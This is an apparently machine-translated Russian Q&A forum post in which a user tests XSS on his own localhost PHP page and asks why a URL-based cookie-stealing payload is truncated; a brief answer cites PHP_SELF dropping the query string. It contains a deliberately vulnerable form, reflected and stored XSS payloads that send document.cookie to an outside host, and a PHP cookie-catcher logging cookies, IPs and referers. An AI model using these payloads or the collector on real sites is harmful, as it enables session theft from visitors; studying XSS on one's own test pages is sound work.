2016-12-10 2 views
0

Я изучаю, как работает XSS и как далеко могут использовать злоумышленники, чтобы нанести ущерб моим посетителям. я прочитал в W3Schools, что с помощью $ _SERVER [ «PHP_SELF»], чтобы повторить текущий файл, как это:XSS url Reflection: form tags

<form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>"> 

без использования htmlspecialchars() может сделать мое приложение уязвимым для XSS, поэтому я сделал очень простую тестовую страницу на моем локальном хосте, вот источник:

<!DOCTYPE html> 
 
<html> 
 
<body> 
 

 
<form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>"> 
 
    Name: <input type="text" name="fname"> 
 
    <input type="submit"> 
 
</form> 
 

 
<?php 
 
if ($_SERVER["REQUEST_METHOD"] == "POST") { 
 
    // collect value of input field 
 
    $name = $_REQUEST['fname']; 
 
    if (empty($name)) { 
 
     echo "Name is empty"; 
 
    } else { 
 
     echo $name; 
 
    } 
 
} 
 
?> 
 

 
</body> 
 
</html>

эту страницу уязвима как для XSS хранящегося и XSS отраженном. Сначала я попробовал следующую полезную нагрузку с URL:

localhost:553/xss test.php/"><script>alert(1)</script> 

и выскочило окно предупреждения, и все было хорошо, попробовал то же самое с формой ввода, и она работала также, я пытался захватить печенье с PHP и сделал следующий скрипт для захвата печенье:

<?php 
$cookie = $_GET['c']; //This obtains a value of variable c in url passed by GET method of HTTP and stores it in $cookie 

$ip = getenv ('REMOTE_ADDR'); // Gets the value of an environment variable which denotes the IP of client and stores it in $ip 

$date = date ("j F, Y, g:i a"); //Records the Date and Time of capture 

$referer = getenv ('HTTP_REFERER'); //Gets the value of an environment variable which denotes the site which redirected to your cookie catcher and stores it in $referer 

$fp = fopen ('kendo.html','a'); //opening a file kendo.html in append mode in which details will be stored 

fwrite ($fp, 'Cookie :'.$cookie.'<br/> IP :'.$ip.'<br/> Date and Time :'.$date.'<br/> Referer : '.$referer.'<br>'); //passing the reference of file kendo.html and passing the rest of the details we obtained 

fclose ($fp); //closing the file reference 

header ('Location: http://example.com/'); //Redirecting the client back to page you wish 

?> 

загрузив его на мой сайт и попытался следующую полезную нагрузку с XSS сохраненную:

<script>document.location="http://example.com/404.php?c=" + document.cookie</script> 

, где 404.php мое печенье зрелище он работал отлично, но когда я попробовал то же самое с URL, как это:

localhost:553/xss test.php/"><script>document.location="http://www.example.com/404.php?c=" + document.cookie</script> 

ничего не произошло, я посмотрел на источнике и нашел это:

<!DOCTYPE html> 
<html> 
<body> 

<form method="post" action="/xss test.php/"><script>document.location="http://example.com/404.php"> 
    Name: <input type="text" name="fname"> 
    <input type="submit"> 
</form> 


</body> 
</html> 

что-то перечеркнуло остальную часть моей полезной нагрузки, я продолжал искать 2 дня для основной причины этого, но я не смог выяснить, почему, попробовал другие функции, такие как window.location, и получил тот же результат ... зачем что-то как это происходит?

ответ

0

Поскольку PHP_SELF возвращает путь/имя скрипта, без параметров URL, и в этом случае, что произошло после? стали параметрами.

Смежные вопросы